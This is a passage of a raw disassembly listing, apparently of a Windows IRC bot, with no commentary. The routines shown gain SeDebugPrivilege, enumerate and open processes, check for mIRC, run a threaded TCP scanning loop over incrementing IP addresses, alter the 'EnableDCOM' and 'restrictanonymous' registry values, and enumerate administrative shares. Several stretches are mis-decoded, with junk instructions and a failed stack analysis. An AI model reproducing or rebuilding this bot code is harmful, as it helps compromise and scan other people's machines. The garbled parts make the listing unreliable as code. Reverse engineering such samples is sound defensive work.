[ebp+var_108] push esi push eax lea eax, [ebp+var_318] push eax call sub_4128E9 lea eax, [ebp+var_718] push eax call sub_4128CC add esp, 10h shl eax, 1 push eax lea eax, [ebp+var_718] push eax lea eax, [ebp+var_318] push 0 push eax push 0 call ds:dword_4307A4 test eax, eax jnz short loc_40F354 mov esi, offset dword_45EDAC push offset dword_42DA40 push esi call sub_41050B pop ecx pop ecx jmp short loc_40F37D ; --------------------------------------------------------------------------- loc_40F354: ; CODE XREF: sub_40F2C4+7Aj lea ecx, [ebp+var_718] push ecx lea ecx, [ebp+var_318] push ecx push eax call sub_40F190 pop ecx mov esi, offset dword_45EDAC push eax push offset dword_42DA04 push esi call sub_41050B add esp, 14h loc_40F37D: ; CODE XREF: sub_40F2C4+8Ej mov eax, esi pop esi leave retn sub_40F2C4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F382 proc near ; CODE XREF: sub_4070B7+7p ; seg000:0040F44Cp ... var_14 = dword ptr -14h var_10 = byte ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 14h lea eax, [ebp+var_4] push eax push 28h call near ptr 3D0000h arpl [eax-1], dx adc eax, offset dword_430778 test eax, eax jnz short loc_40F3A1 leave retn ; --------------------------------------------------------------------------- loc_40F3A1: ; CODE XREF: sub_40F382+1Bj lea eax, [ebp+var_10] push esi push eax xor esi, esi push [ebp+arg_0] push esi call ds:dword_430754 ; LookupPrivilegeValueA test eax, eax jz short loc_40F3DF cmp [ebp+arg_4], esi mov [ebp+var_14], 1 jz short loc_40F3C8 or [ebp+var_8], 2 jmp short loc_40F3CC ; --------------------------------------------------------------------------- loc_40F3C8: ; CODE XREF: sub_40F382+3Ej and [ebp+var_8], 0FFFFFFFDh loc_40F3CC: ; CODE XREF: sub_40F382+44j push esi push esi lea eax, [ebp+var_14] push esi push eax push esi push [ebp+var_4] call ds:dword_4307FC ; AdjustTokenPrivileges mov esi, eax loc_40F3DF: ; CODE XREF: sub_40F382+32j push [ebp+var_4] call ds:dword_41C070 ; CloseHandle mov eax, esi pop esi leave retn sub_40F382 endp ; --------------------------------------------------------------------------- loc_40F3ED: ; CODE XREF: seg000:0040D02Bp ; sub_40F59E+74p push ebp mov ebp, esp sub esp, 550h push ebx push esi push edi push 49h xor ebx, ebx pop ecx xor eax, eax cmp ds:dword_4307B4, ebx lea edi, [ebp-128h] mov [ebp-12Ch], ebx rep stosd mov ecx, 88h lea edi, [ebp-34Ch] mov [ebp-350h], ebx rep stosd jz loc_40F597 cmp ds:dword_430798, ebx jz loc_40F597 cmp ds:dword_4306C4, ebx jz loc_40F597 push 1 push offset aSedebugprivile ; "SeDebugPrivilege" call sub_40F382 pop ecx pop ecx push ebx push 0Fh call ds:dword_4307B4 ; CreateToolhelp32Snapshot cmp eax, 0FFFFFFFFh mov [ebp-4], eax jz loc_40F58A lea eax, [ebp-12Ch] mov dword ptr [ebp-12Ch], 128h push eax push dword ptr [ebp-4] call ds:dword_430798 ; Process32First mov esi, ds:dword_41C070 test eax, eax jz loc_40F585 loc_40F490: ; CODE XREF: seg000:0040F4ABj ; seg000:0040F4B9j ... lea eax, [ebp-12Ch] push eax push dword ptr [ebp-4] call ds:dword_4306C4 ; Process32Next test eax, eax jz loc_40F585 cmp [ebp+18h], ebx jnz short loc_40F490 cmp [ebp+14h], ebx jnz loc_40F53D cmp [ebp+0Ch], ebx jz short loc_40F490 push dword ptr [ebp-124h] push 8 call ds:dword_4307B4 ; CreateToolhelp32Snapshot cmp [ebp+1Ch], ebx mov edi, eax mov dword ptr [ebp-350h], 224h jz short loc_40F4FA lea eax, [ebp-350h] push eax push edi call ds:dword_430674 ; Module32First push dword ptr [ebp-124h] test eax, eax jz short loc_40F500 lea eax, [ebp-230h] jmp short loc_40F506 ; --------------------------------------------------------------------------- loc_40F4FA: ; CODE XREF: seg000:0040F4D8j push dword ptr [ebp-124h] loc_40F500: ; CODE XREF: seg000:0040F4F0j lea eax, [ebp-108h] loc_40F506: ; CODE XREF: seg000:0040F4F8j push eax lea eax, [ebp-550h] push offset aSD_0 ; " %s (%d)" push eax call sub_41050B add esp, 10h lea eax, [ebp-550h] push 1 push dword ptr [ebp+10h] push eax push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_40E367 add esp, 14h push edi call esi ; CloseHandle jmp loc_40F490 ; --------------------------------------------------------------------------- loc_40F53D: ; CODE XREF: seg000:0040F4B0j push dword ptr [ebp+14h] lea eax, [ebp-108h] push eax call sub_410930 pop ecx test eax, eax pop ecx jnz loc_40F490 push dword ptr [ebp-124h] push ebx push 1F0FFFh call near ptr 3D0000h loc_40F567: ; CODE XREF: seg000:0040F569j ; seg000:loc_40F567j loop near ptr loc_40F567+1 jnz short loc_40F567 mov edi, eax call esi ; CloseHandle push ebx push edi call near ptr 3D0000h call far ptr 0FF57h:575C085h setalc jmp short loc_40F597 ; --------------------------------------------------------------------------- push 1 pop eax jmp short loc_40F599 ; --------------------------------------------------------------------------- loc_40F585: ; CODE XREF: seg000:0040F48Aj ; seg000:0040F4A2j push dword ptr [ebp-4] call esi ; CloseHandle loc_40F58A: ; CODE XREF: seg000:0040F462j push ebx push offset aSedebugprivile ; "SeDebugPrivilege" call sub_40F382 pop ecx pop ecx loc_40F597: ; CODE XREF: seg000:0040F427j ; seg000:0040F433j ... xor eax, eax loc_40F599: ; CODE XREF: seg000:0040F583j pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F59E proc near ; DATA XREF: seg000:0040DBC8o var_298 = byte ptr -298h var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 298h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] push offset dword_42DB10 rep movsd mov dword ptr [eax+94h], 1 lea eax, [ebp+var_298] push eax call sub_41050B xor esi, esi pop ecx cmp [ebp+var_8], esi pop ecx jnz short loc_40F5FD push esi lea eax, [ebp+var_298] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push [ebp+var_98] call sub_40E367 add esp, 14h loc_40F5FD: ; CODE XREF: sub_40F59E+3Dj push [ebp+var_10] lea eax, [ebp+var_94] push esi push esi push [ebp+var_C] push eax push [ebp+var_98] call loc_40F3ED add esp, 18h test eax, eax jnz short loc_40F625 push offset dword_42DAD4 jmp short loc_40F62A ; --------------------------------------------------------------------------- loc_40F625: ; CODE XREF: sub_40F59E+7Ej push offset dword_42DA9C loc_40F62A: ; CODE XREF: sub_40F59E+85j lea eax, [ebp+var_298] push eax call sub_41050B cmp [ebp+var_8], esi pop ecx pop ecx jnz short loc_40F65D push esi lea eax, [ebp+var_298] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push [ebp+var_98] call sub_40E367 add esp, 14h loc_40F65D: ; CODE XREF: sub_40F59E+9Dj lea eax, [ebp+var_298] push eax call sub_407E0E push [ebp+var_14] call sub_4102D3 pop ecx pop ecx push esi call near ptr 3D0000h sahf pop edi pop esi sub_40F59E endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40F67C proc near ; CODE XREF: seg000:0040CFCDp ; sub_4100F2+53p arg_0 = dword ptr 4 push esi push edi push 1 pop edi push [esp+8+arg_0] push 0 push 1F0FFFh call near ptr 3D0000h db 65h mov esi, eax test esi, esi jz short loc_40F6AE push 0 push esi call near ptr 3D0000h dec ebp test eax, eax jnz short loc_40F6AE push esi xor edi, edi call ds:dword_41C070 ; CloseHandle loc_40F6AE: ; CODE XREF: sub_40F67C+1Aj ; sub_40F67C+27j mov eax, edi pop edi pop esi retn sub_40F67C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F6B3 proc near ; CODE XREF: sub_40318D+63p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi call sub_410567 mov esi, [ebp+arg_0] mov [ebp+var_4], eax mov eax, [ebp+arg_4] fild [ebp+var_4] sub eax, esi mov [ebp+arg_4], eax fimul [ebp+arg_4] fmul ds:dbl_41C648 call sub_410DD4 sub esi, eax mov eax, esi pop esi leave retn sub_40F6B3 endp ; =============== S U B R O U T I N E ======================================= sub_40F6E3 proc near ; CODE XREF: sub_40FA4E+49p ; DATA XREF: seg002:off_42DB58o var_C = dword ptr -0Ch arg_0 = dword ptr 4 push esi push edi call ds:dword_41C04C ; GetTickCount push eax call sub_41055D mov edi, [esp+0Ch+arg_0] mov [esp+0Ch+var_C], offset dword_423094 push offset aS_1 ; "%s" push 1Ch push edi call sub_410A8A xor esi, esi add esp, 10h cmp ds:dword_423010, esi jle short loc_40F73C loc_40F716: ; CODE XREF: sub_40F6E3+57j call sub_410567 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42DBAC push 1Ch push edi call sub_410A8A add esp, 14h inc esi cmp esi, ds:dword_423010 jl short loc_40F716 loc_40F73C: ; CODE XREF: sub_40F6E3+31j mov eax, edi pop edi pop esi retn sub_40F6E3 endp ; =============== S U B R O U T I N E ======================================= sub_40F741 proc near ; CODE XREF: seg000:0040C769p arg_0 = dword ptr 4 push ebx push esi push edi call ds:dword_41C04C ; GetTickCount push eax call sub_41055D pop ecx call sub_410567 push 3 mov ebx, [esp+10h+arg_0] cdq pop ecx xor edi, edi idiv ecx mov esi, edx add esi, ds:dword_423010 test esi, esi jle short loc_40F784 loc_40F76E: ; CODE XREF: sub_40F741+41j call sub_410567 push 1Ah cdq pop ecx idiv ecx add dl, 61h mov [edi+ebx], dl inc edi cmp edi, esi jl short loc_40F76E loc_40F784: ; CODE XREF: sub_40F741+2Bj and byte ptr [edi+ebx], 0 pop edi mov eax, ebx pop esi pop ebx retn sub_40F741 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx and dword ptr [ebp-4], 0 push esi push edi mov dword ptr [ebp-8], 100h call ds:dword_41C04C ; GetTickCount push eax call sub_41055D pop ecx lea eax, [ebp-8] mov esi, offset dword_42DBB4 push eax push esi call near ptr 3D0000h arpl [edi], cx mov esi, 42DBB405h add [edx+41h], ch pop ecx push 1 pop edx loc_40F7CA: ; CODE XREF: seg000:0040F7D5j cmp eax, ecx jnz short loc_40F7D1 mov [ebp-4], edx loc_40F7D1: ; CODE XREF: seg000:0040F7CCj inc ecx cmp ecx, 5Bh jl short loc_40F7CA push 61h pop ecx loc_40F7DA: ; CODE XREF: seg000:0040F7E5j cmp eax, ecx jnz short loc_40F7E1 mov [ebp-4], edx loc_40F7E1: ; CODE XREF: seg000:0040F7DCj inc ecx cmp ecx, 7Bh jl short loc_40F7DA mov edi, [ebp+8] push esi push 1Ch push edi call sub_410A8A xor esi, esi add esp, 0Ch cmp ds:dword_423010, esi jle short loc_40F826 loc_40F800: ; CODE XREF: seg000:0040F824j call sub_410567 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42DBAC push 1Ch push edi call sub_410A8A add esp, 14h inc esi cmp esi, ds:dword_423010 jl short loc_40F800 loc_40F826: ; CODE XREF: seg000:0040F7FEj mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0Ch push esi push edi call ds:dword_41C04C ; GetTickCount push eax call sub_41055D pop ecx lea eax, [ebp-0Ch] push 0Ah push eax push 7 push 800h call ds:dword_41C130 ; GetLocaleInfoA mov edi, [ebp+8] lea eax, [ebp-0Ch] push eax push offset dword_42DBB8 push 1Ch push edi call sub_410A8A xor esi, esi add esp, 10h cmp ds:dword_423010, esi jle short loc_40F89B loc_40F875: ; CODE XREF: seg000:0040F899j call sub_410567 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42DBAC push 1Ch push edi call sub_410A8A add esp, 14h inc esi cmp esi, ds:dword_423010 jl short loc_40F875 loc_40F89B: ; CODE XREF: seg000:0040F873j mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 94h push esi lea eax, [ebp-94h] push edi push eax mov esi, offset dword_42F3E8 mov dword ptr [ebp-94h], 94h call ds:dword_41C0EC ; GetVersionExA call ds:dword_41C04C ; GetTickCount push eax call sub_41055D cmp dword ptr [ebp-90h], 4 pop ecx jnz short loc_40F925 cmp dword ptr [ebp-8Ch], 0 jnz short loc_40F905 cmp dword ptr [ebp-84h], 1 jnz short loc_40F8F5 mov esi, offset a95 ; "95" loc_40F8F5: ; CODE XREF: seg000:0040F8EEj cmp dword ptr [ebp-84h], 2 jnz short loc_40F961 mov esi, offset aNt ; "NT" jmp short loc_40F961 ; --------------------------------------------------------------------------- loc_40F905: ; CODE XREF: seg000:0040F8E5j cmp dword ptr [ebp-8Ch], 0Ah jnz short loc_40F915 mov esi, offset a98 ; "98" jmp short loc_40F961 ; --------------------------------------------------------------------------- loc_40F915: ; CODE XREF: seg000:0040F90Cj cmp dword ptr [ebp-8Ch], 5Ah jnz short loc_40F95C mov esi, offset aMe ; "ME" jmp short loc_40F961 ; --------------------------------------------------------------------------- loc_40F925: ; CODE XREF: seg000:0040F8DCj cmp dword ptr [ebp-90h], 5 jnz short loc_40F95C cmp dword ptr [ebp-8Ch], 0 jnz short loc_40F93E mov esi, offset a2k ; "2K" jmp short loc_40F961 ; --------------------------------------------------------------------------- loc_40F93E: ; CODE XREF: seg000:0040F935j cmp dword ptr [ebp-8Ch], 1 jnz short loc_40F94E mov esi, offset aXp ; "XP" jmp short loc_40F961 ; --------------------------------------------------------------------------- loc_40F94E: ; CODE XREF: seg000:0040F945j cmp dword ptr [ebp-8Ch], 2 mov esi, offset dword_42DBC4 jz short loc_40F961 loc_40F95C: ; CODE XREF: seg000:0040F91Cj ; seg000:0040F92Cj mov esi, offset dword_422AE4 loc_40F961: ; CODE XREF: seg000:0040F8FCj ; seg000:0040F903j ... mov edi, [ebp+8] push esi push offset dword_42DBBC push 1Ch push edi call sub_410A8A xor esi, esi add esp, 10h cmp ds:dword_423010, esi jle short loc_40F9A5 loc_40F97F: ; CODE XREF: seg000:0040F9A3j call sub_410567 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42DBAC push 1Ch push edi call sub_410A8A add esp, 14h inc esi cmp esi, ds:dword_423010 jl short loc_40F97F loc_40F9A5: ; CODE XREF: seg000:0040F97Dj mov eax, edi pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F9AB proc near ; CODE XREF: sub_40FA4E+5Cp var_1C = byte ptr -1Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1Ch push esi call ds:dword_41C04C ; GetTickCount xor edx, edx mov ecx, 5265C00h div ecx push 0 push offset aMirc ; "mIRC" mov esi, eax cmp esi, 64h jbe short loc_40F9FA call ds:dword_4307A0 ; FindWindowA test eax, eax mov eax, offset dword_42DBD0 jnz short loc_40F9E3 mov eax, offset dword_42F3E8 loc_40F9E3: ; CODE XREF: sub_40F9AB+31j push eax push esi push offset dword_42DBC8 lea eax, [ebp+var_1C] push 1Ch push eax call sub_410A8A add esp, 14h jmp short loc_40FA1A ; --------------------------------------------------------------------------- loc_40F9FA: ; CODE XREF: sub_40F9AB+22j call ds:dword_4307A0 ; FindWindowA test eax, eax mov eax, offset dword_42DBD0 jnz short loc_40FA0E mov eax, offset dword_42F3E8 loc_40FA0E: ; CODE XREF: sub_40F9AB+5Cj push eax lea eax, [ebp+var_1C] push eax call sub_41050B pop ecx pop ecx loc_40FA1A: ; CODE XREF: sub_40F9AB+4Dj lea eax, [ebp+var_1C] push eax call sub_410B60 pop ecx cmp eax, 2 pop esi jbe short loc_40FA49 push 1Ch lea eax, [ebp+var_1C] push [ebp+arg_0] push eax call sub_411ED0 lea eax, [ebp+var_1C] push 1Ch push eax push [ebp+arg_0] call sub_411D00 add esp, 18h loc_40FA49: ; CODE XREF: sub_40F9AB+7Dj mov eax, [ebp+arg_0] leave retn sub_40F9AB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FA4E proc near ; CODE XREF: sub_4090B0+7Fp ; sub_409218+50p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push esi push edi xor edi, edi mov esi, offset dword_42DB54 loc_40FA5A: ; CODE XREF: sub_40FA4E+3Fj cmp [ebp+arg_C], 0 jz short loc_40FA75 lea eax, [esi-0Ch] push eax push [ebp+arg_C] call sub_410930 neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_40FA7F ; --------------------------------------------------------------------------- loc_40FA75: ; CODE XREF: sub_40FA4E+10j mov ecx, [esi] xor eax, eax cmp ecx, [ebp+arg_4] setz al loc_40FA7F: ; CODE XREF: sub_40FA4E+25j test eax, eax jnz short loc_40FA91 add esi, 14h inc edi cmp esi, offset dword_42DBB8 jl short loc_40FA5A jmp short loc_40FA9F ; --------------------------------------------------------------------------- loc_40FA91: ; CODE XREF: sub_40FA4E+33j push [ebp+arg_0] lea eax, [edi+edi*4] call ds:off_42DB58[eax*4] pop ecx loc_40FA9F: ; CODE XREF: sub_40FA4E+41j cmp [ebp+arg_8], 0 pop edi pop esi jz short loc_40FAB2 push [ebp+arg_0] call sub_40F9AB pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_40FAB2: ; CODE XREF: sub_40FA4E+57j mov eax, [ebp+arg_0] pop ebp retn sub_40FA4E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FAB7 proc near ; DATA XREF: sub_40FB84+7Bo var_B8 = dword ptr -0B8h var_B4 = byte ptr -0B4h var_34 = dword ptr -34h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0B8h mov eax, [ebp+arg_0] push esi push edi push 2Ah pop ecx mov esi, eax lea edi, [ebp+var_B8] push 1 rep movsd pop esi mov [eax+0A4h], esi push 10h lea eax, [ebp+var_10] push 0 push eax call sub_410590 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_34] call ds:dword_430794 ; ntohs mov [ebp+var_E], ax mov eax, [ebp+var_28] push 6 push esi push 2 mov [ebp+var_C], eax call ds:dword_430810 ; socket mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40FB75 lea eax, [ebp+var_10] push 10h push eax push esi call ds:dword_430740 ; connect mov ecx, [ebp+var_2C] imul ecx, 234h cmp eax, 0FFFFFFFFh mov ds:dword_4358E4[ecx], esi jz short loc_40FB75 push [ebp+var_34] push [ebp+var_28] call ds:dword_43081C ; inet_ntoa push eax mov edi, offset dword_45F614 push offset unk_42DBD4 push edi call sub_41050B push 0 lea eax, [ebp+var_B4] push [ebp+var_20] push edi push eax push [ebp+var_B8] call sub_40E367 push edi call sub_407E0E add esp, 28h loc_40FB75: ; CODE XREF: sub_40FAB7+5Dj ; sub_40FAB7+7Ej push esi call ds:dword_430828 ; closesocket pop edi xor eax, eax pop esi leave retn 4 sub_40FAB7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_40FB84 proc near ; DATA XREF: seg000:0040BFA2o var_130 = byte ptr -130h var_B0 = byte ptr -0B0h var_2C = dword ptr -2Ch var_24 = dword ptr -24h var_20 = dword ptr -20h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 130h push ebx mov ebx, [ebp+arg_0] push esi push edi push 2Ah mov esi, ebx pop ecx lea edi, [ebp+var_B0] rep movsd mov esi, ds:dword_41C058 mov dword ptr [ebx+0A0h], 1 xor edi, edi loc_40FBB2: ; CODE XREF: sub_40FB84+ECj push [ebp+var_2C] push [ebp+var_20] call ds:dword_43081C ; inet_ntoa push eax lea eax, [ebp+var_130] push offset unk_42DC10 push eax call sub_41050B lea eax, [ebp+var_130] push 1FFh push eax mov eax, [ebp+var_24] imul eax, 234h add eax, offset dword_4356D8 push eax call sub_411D00 add esp, 1Ch lea eax, [ebp+var_8] push eax lea eax, [ebp+var_B0] push edi push eax push offset sub_40FAB7 push edi push edi call ds:dword_41C06C ; CreateThread cmp eax, edi mov [ebp+var_4], eax jz short loc_40FC1E loc_40FC13: ; CODE XREF: sub_40FB84+98j cmp [ebp+var_C], edi jnz short loc_40FC1E push 32h call esi ; Sleep jmp short loc_40FC13 ; --------------------------------------------------------------------------- loc_40FC1E: ; CODE XREF: sub_40FB84+8Dj ; sub_40FB84+92j push [ebp+var_4] call ds:dword_41C070 ; CloseHandle push dword ptr [ebx+88h] mov [ebx+0A4h], edi call esi ; Sleep lea eax, [ebp+var_20] push 4 push eax lea eax, [ebp+arg_0] push eax call sub_4105F0 add esp, 0Ch push [ebp+arg_0] call ds:dword_4306D8 ; ntohl inc eax push eax mov [ebp+arg_0], eax call ds:dword_430790 ; ntohl mov [ebp+arg_0], eax lea eax, [ebp+arg_0] push 4 push eax lea eax, [ebp+var_20] push eax call sub_4105F0 add esp, 0Ch jmp loc_40FBB2 sub_40FB84 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FC75 proc near ; CODE XREF: seg000:0040FFA1p var_214 = byte ptr -214h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 214h push esi push edi xor edi, edi cmp ds:dword_430860, edi jnz loc_40FDA7 lea eax, [ebp+var_4] mov esi, 80000002h push eax push 2001Fh push edi push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push esi call ds:dword_430800 ; RegOpenKeyExA test eax, eax jnz short loc_40FD00 mov ax, ds:word_42E000 mov word ptr [ebp+var_8+2], ax lea eax, [ebp+var_8+2] push eax call sub_410B60 pop ecx push eax lea eax, [ebp+var_8+2] push eax push 1 push edi push offset aEnabledcom ; "EnableDCOM" push [ebp+var_4] call ds:dword_4307B8 ; RegSetValueExA test eax, eax jz short loc_40FCE2 push offset unk_42DFBC jmp short loc_40FCE7 ; --------------------------------------------------------------------------- loc_40FCE2: ; CODE XREF: sub_40FC75+64j push offset dword_42DF8C loc_40FCE7: ; CODE XREF: sub_40FC75+6Bj lea eax, [ebp+var_214] push eax call sub_41050B pop ecx pop ecx push [ebp+var_4] call ds:dword_430770 ; RegCloseKey jmp short loc_40FD13 ; --------------------------------------------------------------------------- loc_40FD00: ; CODE XREF: sub_40FC75+36j lea eax, [ebp+var_214] push offset unk_42DF48 push eax call sub_41050B pop ecx pop ecx loc_40FD13: ; CODE XREF: sub_40FC75+89j cmp [ebp+arg_C], edi jnz short loc_40FD32 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40E367 add esp, 14h loc_40FD32: ; CODE XREF: sub_40FC75+A1j lea eax, [ebp+var_214] push eax call sub_407E0E pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push edi push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call ds:dword_430800 ; RegOpenKeyExA test eax, eax jnz short loc_40FDA0 lea eax, [ebp+var_8] push 4 push eax push 4 push edi push offset aRestrictanonym ; "restrictanonymous" push [ebp+var_4] mov [ebp+var_8], 1 call ds:dword_4307B8 ; RegSetValueExA test eax, eax jz short loc_40FD82 push offset unk_42DEE4 jmp short loc_40FD87 ; --------------------------------------------------------------------------- loc_40FD82: ; CODE XREF: sub_40FC75+104j push offset unk_42DE9C loc_40FD87: ; CODE XREF: sub_40FC75+10Bj lea eax, [ebp+var_214] push eax call sub_41050B pop ecx pop ecx push [ebp+var_4] call ds:dword_430770 ; RegCloseKey jmp short loc_40FDBA ; --------------------------------------------------------------------------- loc_40FDA0: ; CODE XREF: sub_40FC75+E2j push offset unk_42DE4C jmp short loc_40FDAC ; --------------------------------------------------------------------------- loc_40FDA7: ; CODE XREF: sub_40FC75+13j push offset unk_42DE08 loc_40FDAC: ; CODE XREF: sub_40FC75+130j lea eax, [ebp+var_214] push eax call sub_41050B pop ecx pop ecx loc_40FDBA: ; CODE XREF: sub_40FC75+129j cmp [ebp+arg_C], edi jnz short loc_40FDD9 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40E367 add esp, 14h loc_40FDD9: ; CODE XREF: sub_40FC75+148j lea eax, [ebp+var_214] push eax call sub_407E0E cmp ds:dword_430888, edi pop ecx jnz loc_40FF54 push ebx mov [ebp+var_4], edi mov [ebp+var_14], edi mov [ebp+var_C], edi loc_40FDFC: ; CODE XREF: sub_40FC75+2C3j lea eax, [ebp+var_C] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push 0FFFFFFFFh push eax push 1F6h push edi call ds:dword_4306F0 cmp eax, edi mov [ebp+var_10], eax jz short loc_40FE99 cmp eax, 0EAh jz short loc_40FE99 mov esi, offset off_42DC58 loc_40FE2D: ; CODE XREF: sub_40FC75+21Dj push dword ptr [esi] push edi call sub_40E9B8 pop ecx pop ecx push dword ptr [esi] test eax, eax jnz short loc_40FE44 push offset unk_42DDD0 jmp short loc_40FE49 ; --------------------------------------------------------------------------- loc_40FE44: ; CODE XREF: sub_40FC75+1C6j push offset unk_42DD90 loc_40FE49: ; CODE XREF: sub_40FC75+1CDj lea eax, [ebp+var_214] push 200h push eax call sub_410A8A add esp, 10h cmp [ebp+arg_C], edi jnz short loc_40FE7C push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40E367 add esp, 14h loc_40FE7C: ; CODE XREF: sub_40FC75+1EBj lea eax, [ebp+var_214] push eax call sub_407E0E add esi, 8 pop ecx cmp esi, offset dword_42DC78 jl short loc_40FE2D jmp loc_40FF31 ; --------------------------------------------------------------------------- loc_40FE99: ; CODE XREF: sub_40FC75+1AAj ; sub_40FC75+1B1j mov esi, [ebp+var_8] push 1 pop ebx cmp [ebp+var_4], ebx jb loc_40FF28 loc_40FEA8: ; CODE XREF: sub_40FC75+2AFj mov edi, [esi] push edi call sub_4128CC cmp word ptr [edi+eax*2-2], 24h pop ecx jnz short loc_40FF1D push edi call sub_40E8A5 push eax push 0 call sub_40E9B8 add esp, 0Ch push dword ptr [esi] test eax, eax jnz short loc_40FED7 push offset unk_42DD58 jmp short loc_40FEDC ; --------------------------------------------------------------------------- loc_40FED7: ; CODE XREF: sub_40FC75+259j push offset unk_42DD18 loc_40FEDC: ; CODE XREF: sub_40FC75+260j lea eax, [ebp+var_214] push 200h push eax call sub_410A8A add esp, 10h cmp [ebp+arg_C], 0 jnz short loc_40FF10 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40E367 add esp, 14h loc_40FF10: ; CODE XREF: sub_40FC75+27Fj lea eax, [ebp+var_214] push eax call sub_407E0E pop ecx loc_40FF1D: ; CODE XREF: sub_40FC75+242j add esi, 28h inc ebx cmp ebx, [ebp+var_4] jbe short loc_40FEA8 xor edi, edi loc_40FF28: ; CODE XREF: sub_40FC75+22Dj push [ebp+var_8] call ds:dword_430820 loc_40FF31: ; CODE XREF: sub_40FC75+21Fj cmp [ebp+var_10], 0EAh jz loc_40FDFC lea eax, [ebp+var_214] push offset unk_42DCDC push eax call sub_41050B pop ecx pop ecx pop ebx jmp short loc_40FF67 ; --------------------------------------------------------------------------- loc_40FF54: ; CODE XREF: sub_40FC75+177j lea eax, [ebp+var_214] push offset unk_42DC98 push eax call sub_41050B pop ecx pop ecx loc_40FF67: ; CODE XREF: sub_40FC75+2DDj cmp [ebp+arg_C], edi jnz short loc_40FF85 push edi lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40E367 add esp, 14h loc_40FF85: ; CODE XREF: sub_40FC75+2F5j lea eax, [ebp+var_214] push eax call sub_407E0E pop ecx push 1 pop eax pop edi pop esi leave retn sub_40FC75 endp ; --------------------------------------------------------------------------- loc_40FF99: ; CODE XREF: seg000:0040FFB5j ; DATA XREF: sub_4089FD+4BCo push 1 push 0 push 0 push 0 call sub_40FC75 add esp, 10h push ds:dword_42DC50 call ds:dword_41C058 ; Sleep jmp short loc_40FF99 ; =============== S U B R O U T I N E ======================================= sub_40FFB7 proc near ; CODE XREF: seg000:004040A4p ; seg000:004050EAp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi xor edi, edi mov eax, offset dword_4356D8 loc_40FFBF: ; CODE XREF: sub_40FFB7+18j cmp byte ptr [eax], 0 jz short loc_40FFD3 add eax, 234h inc edi cmp eax, offset dword_45EBC8 jl short loc_40FFBF jmp short loc_41001E ; --------------------------------------------------------------------------- loc_40FFD3: ; CODE XREF: sub_40FFB7+Bj push esi mov esi, edi imul esi, 234h push 1FFh push [esp+0Ch+arg_0] lea eax, dword_4356D8[esi] push eax call sub_411D00 mov eax, [esp+14h+arg_4] add esp, 0Ch mov ds:dword_4358D8[esi], eax and ds:dword_4358DC[esi], 0 mov eax, [esp+8+arg_8] and ds:dword_4358E0[esi], 0 mov ds:dword_4358E4[esi], eax and ds:byte_4358F0[esi], 0 pop esi loc_41001E: ; CODE XREF: sub_40FFB7+1Aj mov eax, edi pop edi 